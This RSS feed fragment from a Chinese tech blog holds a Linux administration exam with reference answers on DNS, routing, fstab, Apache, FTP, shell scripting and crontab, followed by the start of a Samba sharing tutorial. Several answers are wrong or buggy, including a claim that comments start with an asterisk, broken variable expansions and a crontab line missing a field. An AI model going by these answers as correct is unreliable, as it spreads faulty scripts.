/>（3）若没有查到，则将请求发给根域DNS服务器，并依序从根域查找顶级域，由顶级查找二级域，二级域查找三级，直至找到要解析的地址或名字，即向客户机所在网络的DNS服务器发出应答信息，DNS服务器收到应答后现在缓存中存储，然后，将解析结果发给客户机。<br />（4）若没有找到，则返回错误信息。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">4．系统管理员的职责包括那些？管理的对象是什么？<br />参考答案：<br />系统管理员的职责是进行系统资源管理、设备管理、系统性能管理、安全管理和系统性能监测。管理的对象是服务器、用户、服务器的进程及系统的各种资源等。<br />5．简述安装Slackware Linux系统的过程。<br />参考答案：<br />（1）对硬盘重新分区。 （2）启动Linux系统（用光盘、软盘等）。<br />（3）建立Linux主分区和交换分区。（4）用setup命令安装Linux系统。<br />（5）格式化Linux主分区和交换分区（6）安装Linux软件包<br />（7）安装完毕，建立从硬盘启动Linux系统的LILO启动程序，或者制作一张启动Linux系统的软盘。重新启动Linux系统。<br />6．什么是静态路由，其特点是什么？什么是动态路由，其特点是什么？<br />参考答案：<br />静态路由是由系统管理员设计与构建的路由表规定的路由。适用于网关数量有限的场合，且网络拓朴结构不经常变化的网络。其缺点是不能动态地适用网络状况的变化，当网络状况变化后必须由网络管理员修改路由表。<br />动态路由是由路由选择协议而动态构建的，路由协议之间通过交换各自所拥有的路由信息实时更新路由表的内容。动态路由可以自动<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%D1%A7%CF%B0');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>学习</strong></u></a></strong></u>网络的拓朴结构，并更新路由表。其缺点是路由广播更新信息将占据大量的网络带宽。<br />87．进程的查看和调度分别使用什么命令？<br />参考答案：<br />进程查看的命令是ps和top。<br />进程调度的命令有at，crontab，batch，kill。<br />8．当文件系统受到破坏时，如何检查和修复系统？<br />参考答案：<br />成功修复文件系统的前提是要有两个以上的主文件系统，并保证在修复之前首先卸载将被修复的文件系统。<br />使用命令fsck对受到破坏的文件系统进行修复。fsck检查文件系统分为5步，每一步检查系统不同部分的连接特性并对上一步进行验证和修改。在执行 fsck命令时，检查首先从超级块开始，然后是分配的磁盘块、路径名、目录的连接性、链接数目以及空闲块链表、i-node。<br />9．解释i节点在文件系统中的作用。<br />参考答案：<br />在linux文件系统中，是以块为单位存储信息的，为了找到某一个文件在存储空间中存放的位置，用i节点对一个文件进行索引。I节点包含了描述一个文件所必须的全部信息。所以i节点是文件系统管理的一个数据结构。<br />10．什么是符号链接，什么是硬链接？符号链接与硬链接的区别是什么？<br />参考答案：<br />链接分硬链接和符号链接。<br />符号链接可以建立对于文件和目录的链接。符号链接可以跨文件系统，即可以跨磁盘分区。符号链接的文件类型位是l，链接文件具有新的i节点。<br />硬链接不可以跨文件系统。它只能建立对文件的链接，硬链接的文件类型位是－，且硬链接文件的i节点同被链接文件的i节点相同。<br />11．在对linux系统分区进行格式化时需要对磁盘簇（或i节点密度）的大小进行选择，请说明选择的原则。<br />参考答案：<br />磁盘簇（或i节点密度）是文件系统调度文件的基本单元。磁盘簇的大小，直接影响系统调度磁盘空间效率。当磁盘分区较大时，磁盘簇也应选得大些；当分区较小时，磁盘簇应选得小些。通常使用经验值。<br />12．简述网络文件系统NFS，并说明其作用。<br />参考答案：<br />网络文件系统是应用层的一种应用服务，它主要应用于Linux和Linux系统、Linux和Unix系统之间的文件或目录的共享。对于用户而言可以通过 NFS方便的访问远地的文件系统，使之成为本地文件系统的一部分。采用NFS之后省去了登录的过程，方便了用户访问系统资源。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">13．某/etc/fstab文件中的某行如下：<br />/dev/had5 /mnt/dosdata msdos defaults,usrquota 1 2<br />请解释其含义。<br />参考答案:<br />（1）第一列：将被加载的文件系统名；（2）第二列：该文件系统的安装点；<br />（3）第三列：文件系统的类型；（4）第四列：设置参数；<br />（5）第五列：供备份程序确定上次备份距现在的天数；<br />（6）第六列：在系统引导时检测文件系统的顺序。<br />14．Apache服务器的配置文件httpd.conf中有很多内容，请解释如下配置项：<br />（1）MaxKeepAliveRequests 200 （2）UserDir public_html<br />（3）DefaultType text/plain （4）AddLanguare en.en<br />（5）DocumentRoot&#8220;/usr/local/httpd/htdocs&#8221;<br />（6）AddType application/x-httpd-php.php.php.php4<br />参考答案:<br />（1）允许每次连接的最大请求数目，此为200；（2）设定用户放置网页的目录；<br />（3）设置服务器对于不认识的文件类型的预设格式；<br />（4）设置可传送语言的文件给浏览器；（5）该目录为Apache放置网页的地方；<br />（6）服务器选择使用php4。<br />15．某Linux主机的/etc/rc.d/rc.inet1文件中有如下语句，请修正错误，并解释其内容。<br />/etc/rc.d/rc.inet1：<br />&#8230;&#8230;<br />ROUTE add &#8211;net default gw 192.168.0.101 netmask 255.255.0.0 metric 1<br />ROUTE add &#8211;net 192.168.1.0 gw 192.168.0.250 netmask 255.255.0.0 metric 1<br />参考答案:<br />修正错误:<br />（1）ROUTE应改为小写：route；（2）netmask 255.255.0.0应改为:netmask 255.255.255.0；<br />（3）缺省路由的子网掩码应改为:netmask 0.0.0.0；<br />（4）缺省路由必须在最后设定,否则其后的路由将无效。<br />解释内容:<br />（1）route：建立静态路由表的命令；（2）add：增加一条新路由；<br />（3）-net 192.168.1.0：到达一个目标网络的网络地址；<br />（4）default：建立一条缺省路由；（5）gw 192.168.0.101：网关地址；<br />（6）metric 1：到达目标网络经过的<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%C2%B7%D3%C9%C6%F7');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>路由器</strong></u></a></strong></u>数（跳数）。</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">16．试解释apache服务器以下配置的含义：<br />（1）port 1080 （2）UserDir userdoc<br />（3）DocumentRoot &#8220;/home/htdocs&#8221;<br />（4）&lt;Directory /home/htdocs/inside&gt;;<br />Options Indexes FollowSymLinks<br />AllowOverride None<br />Order deny,allow<br />deny from all<br />allow from 192.168.1.5<br />&lt;/Directory&gt;;<br />（5）Server Type Standlone<br />参考答案：<br />Apache服务器配置行含义如下：<br />（1）将apache服务器的端口号设定为1080；<br />（2）设定用户网页目录为userdoc；<br />（3）设定apache服务器的网页根目录:/home/htdocs；<br />（4）在此apache服务器上设定一个目录/home/htdocs/inside，且此目录只允许IP地址为192.168.1.5的主机访问；<br />（5）定义apache服务器以独立进程的方式运行。<br />17．简述使用ftp进行文件传输时的两种登录方式？它们的区别是什么？常用的ftp文件传输命令是什么？<br />参考答案：<br />（1）ftp有两种登录方式：匿名登录和授权登录。使用匿名登录时，用户名为：anonymous，密码为：任何合法email地址；使用授权登录时，用户名为用户在远程系统中的用户帐号，密码为用户在远程系统中的用户密码。<br />区别：使用匿名登录只能访问ftp目录下的资源，默认配置下只能下载；而授权登录访问的权限大于匿名登录，且上载、下载均可。<br />（2）ftp文件传输有两种文件传输模式：ASCII模式和binary模式。ASCII模式用来传输文本文件，其他文件的传输使用binary模式。<br />（3）常用的ftp文件传输命令为：bin、asc、put、get、mput、mget、prompt、bye</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">四．编程与应用题：<br />1．用Shell编程，判断一文件是不是字符设备文件，如果是将其拷贝到 /dev 目录下。<br />参考程序：<br />#!/bin/sh<br />FILENAME=<br />echo &#8220;Input file name：&#8221;<br />read FILENAME<br />if [ -c "$FILENAME" ]<br />then<br />cp $FILENAME /dev<br />fi<br />2．请下列shell程序加注释，并说明程序的功能和调用方法：#!/bin/sh<br />#!/bin/sh<br />#<br /># /etc/rc.d/rc.httpd<br />#<br /># Start/stop/restart the Apache web server.<br />#<br /># To make Apache start automatically at boot, make this<br /># file executable: chmod 755 /etc/rc.d/rc.httpd<br />#<br />case "$1" in<br />'start')<br />/usr/sbin/apachectl start ;;<br />'stop')<br />/usr/sbin/apachectl stop ;;<br />'restart')<br />/usr/sbin/apachectl restart ;;<br />*)<br />echo "usage $0 start|stop|restart" ;;<br />esac<br />参考答案：<br />（1）程序注释<br />#!/bin/sh 定义实用的shell<br />#<br /># /etc/rc.d/rc.httpd 注释行，凡是以星号开始的行均为注释行。<br />#<br /># Start/stop/restart the Apache web server.<br />#<br /># To make Apache start automatically at boot, make this</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><br /># file executable: chmod 755 /etc/rc.d/rc.httpd<br />#<br />case "$1" in #case结构开始，判断&#8220;位置参数&#8221;决定执行的操作。本程序携带一个&#8220;位置参数&#8221;，即$1<br />'start') #若位置参数为start<br />/usr/sbin/apachectl start ;; #启动httpd进程<br />'stop') #若位置参数为stop<br />/usr/sbin/apachectl stop ;; #关闭httpd进程<br />'restart') #若位置参数为stop<br />/usr/sbin/apachectl restart ;; #重新启动httpd进程<br />*) #若位置参数不是start、stop或restart时<br />echo "usage $0 start|stop|restart" ;; #显示命令提示信息：程序的调用方法<br />esac #case结构结束<br />（2）程序的功能是启动，停止或重新启动httpd进程<br />（3）程序的调用方式有三种：启动，停止和重新启动。<br />3．设计一个shell程序，添加一个新组为class1，然后添加属于这个组的30个用户，用户名的形式为stdxx，其中xx从01到30。<br />参考答案：<br />#!/bin/sh<br />i=1<br />groupadd class1<br />while [ $i -le 30 ]<br />do<br />if [ $i -le 9 ] ;then<br />USERNAME=stu0${i}<br />else<br />USERNAME=stu${i}<br />fi<br />useradd $USERNAME<br />mkdir /home/$USERNAME<br />chown -R $USERNAME /home/$USERNAME<br />chgrp -R class1 /home/$USERNAME<br />i=$(($i+1))<br />done</p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; ">4．编写shell程序，实现自动删除50个账号的功能。账号名为stud1至stud50。<br />参考程序：<br />#!/bin/sh<br />i=1<br />while [ $i -le 50 ]<br />do<br />userdel -r stud${i}<br />i=$(($i+1 ))<br />done<br />5．某系统管理员需每天做一定的重复工作，请按照下列要求，编制一个解决<a href="javascript.:;" target="_self" nclick="javascript.:tagshow(event, '%B7%BD%B0%B8');" style="text-decoration: none; color: #63401b; "><u><strong></strong></u></a><u><strong><a href="http://blog.chinaunix.net/uid-20543256-id-1930715.html" target="_self" style="text-decoration: none; color: #63401b; "><u><strong>方案</strong></u></a></strong></u>：<br />（1）在下午4 :50删除/abc目录下的全部子目录和全部文件；<br />（2）从早8:00～下午6:00每小时读取/xyz目录下x1文件中每行第一个域的全部数据加入到/backup目录下的bak01.txt文件内；<br />（3）每逢星期一下午5:50将/data目录下的所有目录和文件归档并压缩为文件：backup.tar.gz；<br />（4）在下午5:55将IDE接口的CD-ROM卸载（假设：CD-ROM的设备名为hdc）；<br />（5）在早晨8:00前开机后启动。<br />参考答案:<br />解决方案：<br />（1）用vi创建编辑一个名为prgx的crontab文件；<br />（2）prgx文件的内容：<br />50 16 * * * rm -r /abc/*<br />0 8-18/1 * * * cut -f1 /xyz/x1 &gt;;&gt;; /backup/bak01.txt<br />50 17 * * * tar zcvf backup.tar.gz /data<br />55 17 * * * umount /dev/hdc<br />（3）由超级用户登录，用crontab执行 prgx文件中的内容：<br /><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#114;&#111;&#111;&#116;&#64;&#120;&#120;&#120;&#58;&#35;&#99;&#114;&#111;&#110;&#116;&#97;&#98;" style="text-decoration: none; color: #63401b; ">root@xxx:#crontab</a>prgx；在每日早晨8:00之前开机后即可自动启动crontab。<br />6．设计一个shell程序，在每月第一天备份并压缩/etc目录的所有内容，存放在/root/bak目录里，且文件名为如下形式yymmdd_etc，yy为年，mm为月，dd为日。Shell程序fileback存放在/usr/bin目录下。<br />参考答案：<br />（1）编写shell程序fileback：<br />#!/bin/sh<br />DIRNAME=`ls /root | grep bak`<br />if [ -z "$DIRNAME" ] ; then<br />mkdir /root/bak<br />cd /root/bak<br />fi<br />YY=`date +%y`<br />MM=`date +%m`<br />DD=`date +%d`<br />BACKETC=$YY$MM$DD_etc.tar.gz<br />tar zcvf $BACKETC /etc<br />echo "fileback finished!"<br />（2）编写任务定时器：<br />echo "0 0 1 * * /bin/sh /usr/bin/fileback" &gt;; /root/etcbakcron<br />crontab /root/etcbakcron<br />或使用crontab -e 命令添加定时任务：<br />0 1 * * * /bin/sh /usr/bin/fileback<br />7．有一普通用户想在每周日凌晨零点零分定期备份/user/backup到/tmp目录下，该用户应如何做？<br />参考答案：（1）第一种方法：<br />用户应使用crontab &#8211;e 命令创建crontab文件。格式如下：<br />0 0 * * sun cp &#8211;r /user/backup /tmp<br />（2）第二种方法：<br />用户先在自己目录下新建文件file，文件内容如下：<br />0 * * sun cp &#8211;r /user/backup /tmp<br />然后执行 crontab file 使生效。<br />8.设计一个Shell程序，在/userdata目录下建立50个目录，即user1～user50，并设置每个目录的权限，其中其他用户的权限为：读；文件所有者的权限为：读、写、执行；文件所有者所在组的权限为：读、执行。<br />参考答案: 建立程序 Pro16如下：<br />#!/bin/sh<br />i=1<br />while [ i -le 50 ]<br />do<br />if [ -d /userdata ];then<br />mkdir -p /userdata/user$i<br />chmod 754 /userdata/user$i<br />echo "user$i"<br />let "i = i + 1" （或i=$（（$i＋1））<br />else<br />mkdir /userdata<br />mkdir -p /userdata/user$i<br />chmod 754 /userdata/user$i<br />echo "user$i"<br />let "i = i + 1" （或i=$（（$i＋1））<br />fi<br />done<br /></p><p style="margin: 0px; padding: 5px 0px 0px; line-height: 1.5; font-size: 14px; font-family: 宋体, Arial; background-color: #f5f7f8; "><span style="line-height: 1.5; font-weight: bold; ">五、多选题</span><br />1．关于硬链接的描述正确的（BE）。<br />A 跨文件系统 B不可以跨文件系统 D可以做目录的连接<br />C 为链接文件创建新的i节点 E链接文件的i节点同被链接文件的i节点<br />2．在网站发布用户wang的个人网页时，需要创建用户网页目录，假定用户网页目录设定为web<br />（用户目录在/home目录下），如下描述正确的是（BCE）<br />A 存放用户网页的绝对路径/wang/web B存放用户网页的目录～wang/<br />C 存放用户网页的绝对路径/home/wang/web D存放用户网页的绝对路径/home/web<br />E 在本机访问用户wang的个人网页的URL地址http://localhost/～wang/<br />3．在一台WWW服务器上将端口号设定为8000，默认的网页文件index.html，服务器网页的根目录/www。在本机访问服务器时，正确的用法是（BDE）<br />A 浏览器访问该服务器的URL地址http://localhost/<br />B 浏览器访问该服务器的URL地址http://localhost:8000/<br />C 浏览器访问该服务器的用户li网页URL地址http://localhost/~li<br />D 浏览器访问该服务器的用户li网页URL地址http://localhost:8000/~li<br />E 浏览器访问该服务器的URL地址localhost:8000/<br />4．在shell编程中关于$2的描述正确的是（CE）<br />A 程序后携带了两个位置参数 B 宏替换 C 程序后面携带的第二个位置参数<br />D 携带位置参数的个数 E 用$2引用第二个位置参数<br />5．某文件的权限是 - r w x r - - r- -，下面描述正确的是(CD)<br />A 文件的权限值是755 B 文件的所有者对文件只有读权 限<br />C 文件的权限值是 744 D 其他用户对文件只有读权限 E同组用户对文件只有写权限<br />6．关于OpenSSH的作用的描述正确的是（ACE）<br />A 开放源代码的安全加密程序 B OpenSSH常用于为http协议加密<br />C OpenSSH用于提高远程登录访问的安全性 D 它和telnet实用同样的端口号<br />E OpenSSH是免费下载的应程序<br />7．关于NFS服务器描述正确的是（BC）<br />A 网络中实现Windows系统之间文件系统共享的应用软件<br />B 网络中实现Linux系统之间文件系统共享的应用软件<br />C 网络中实现Unix系统之间文件系统共享的应用软件<br />D 网络中实现Windows系统和Unix之间文件系统共享的应用软件<br />E 网络中实现Windows系统和Linux之间文件系统共享的应用软件<br />8．关于sed描述正确的是（ABD）<br />A sed 是Linux系统中的流编辑器 B sed 是UNIX系统中的流编辑器<br />C sed 网络文件系统的类型 D 利用管道对标准输入/标准输入的数据进行编辑和组合<br />E sed是NFS的应用程序<br />9．关于限制磁盘限额，描述正确的是（ABD）<br />A 使用edquota可以监控系统所有用户使用的磁盘空间，并在接近极限时提示用户<br />B 用户组的磁盘限额是用户组内所有用户予设磁盘空间总和<br />C 单个用户的磁盘限额就是该用户所在用户组内所有磁盘限额的总合<br />D 在Linux系统下限制用户使用的磁盘空间可以使用edquota<br />E 用户组的磁盘限额就是该用户组内拥有最大磁盘限额值的用户的磁盘限额<br />10．关于建立系统用户的正确描述是（）<br />A 在Linux系统下建立用户使用adduser命令<br />B 每个系统用户分别在/etc/passwd和/etc/shadow文件中有一条记录<br />C 访问每个用户的工作目录使用命令&#8220;cd /用户名&#8221;<br />D 每个系统用户在默认状态下的工作目录在/home/用户名<br />E 每个系统用户在/etc/fstab文件中有一条记录</p><img src ="http://www.blogjava.net/kxbin/aggbug/383602.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-20 15:25 <a href="http://www.blogjava.net/kxbin/articles/383602.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux与Windows 通过samba互访共享资源</title><link>http://www.blogjava.net/kxbin/articles/383577.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Fri, 20 Jul 2012 02:34:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383577.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383577.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383577.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383577.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383577.html</trackback:ping><description><![CDATA[<p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "><strong>一、目的：</strong></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1.linux访问windows共享文件</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2.windows访问linux共享文件（user模式－需要输入用户名和密码）</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">简单描述：</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">只需要在linux服务器上做samba服务的配置，两者就可以互相访问。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">windows访问linux通过网上邻居来访问，和访问windows主机没有区别。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">linux访问windows要通过mount工具来实现&#8212;&#8212;把远程windows上的共享文件挂载到本地目录</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "><strong>二、操作系统版本：</strong></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1．windows机器－－ windowsxp sp2</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2．linux机器－－ Fedora8</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "><strong>三、samba配置</strong></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">假设我们已经安装好了samba软件包。没有可以下载rpm包安装或者通过yum安装。samba配置关键就是对/etc/samba/smb.conf的编辑配置，还需要对/etc/samba/lmhost做配置。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">samba配置根据安全方式，我们只配置两种;</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">share方式&#8212;&#8212;匿名方式，不需要用户名和密码就可以访问共享资源</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">user方式&#8212;&#8212; 访问需要用户名和密码</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1、share方式</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">这种方式比较简单，不过不安全，网络上所有人都可以访问。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1）配置/etc/samba/lmhosts</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">内容：ip netbios</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2）配置文档：/etc/samba/smb.conf:</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">[global]</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">netbios=sambaserver #这个用了表示samba主机，和主机名不一样</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">security=share #指定这个访问方式</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">server string= samba server #对主机的描述</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">workgroup = workgroup # windows主机的所在工作组</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#要share出来的文件</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">[test] ＃这个可以随便写</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">path=/test1</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">browseable=yes ＃能否在浏览器里面访问。可否http访问</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">writable=yes ＃是否可写</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">guest ok=yes ＃ 客户访问</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2、user方式</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">1）配置lmhosts，同share方式</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">2）添加samba用户</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">这个samba用户指的是，用于登录samba主机的用户，这个是在samba主机上设定。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">注意：这个samba用户首先必须是linux系统用户，这个很好理解，你只有是linux上的系统用户，你才能够登录linux主机，而对samba服务的访问，实际上也是对linux主机的访问。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">a、首先，要添加一个linux系统用户，根用户是root，可以使用根用户，也可以添加新用户。我添加新用户dudu</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">b、添加samba用户。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">执行命令：smbpasswd -a dudu # 然后输入密码，这个密码是用来登录samba的。</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">c、配置smb.conf：</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#主机方面的一些参数</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; "></p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">[global]</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; text-indent: 2em; ">#主机名称相关的参数</p><p style="font-family: 宋体; font-size: 13px; line-height: 22px; text-align: -webkit-left; word-spacing: 4px; background-color: #ffffff; 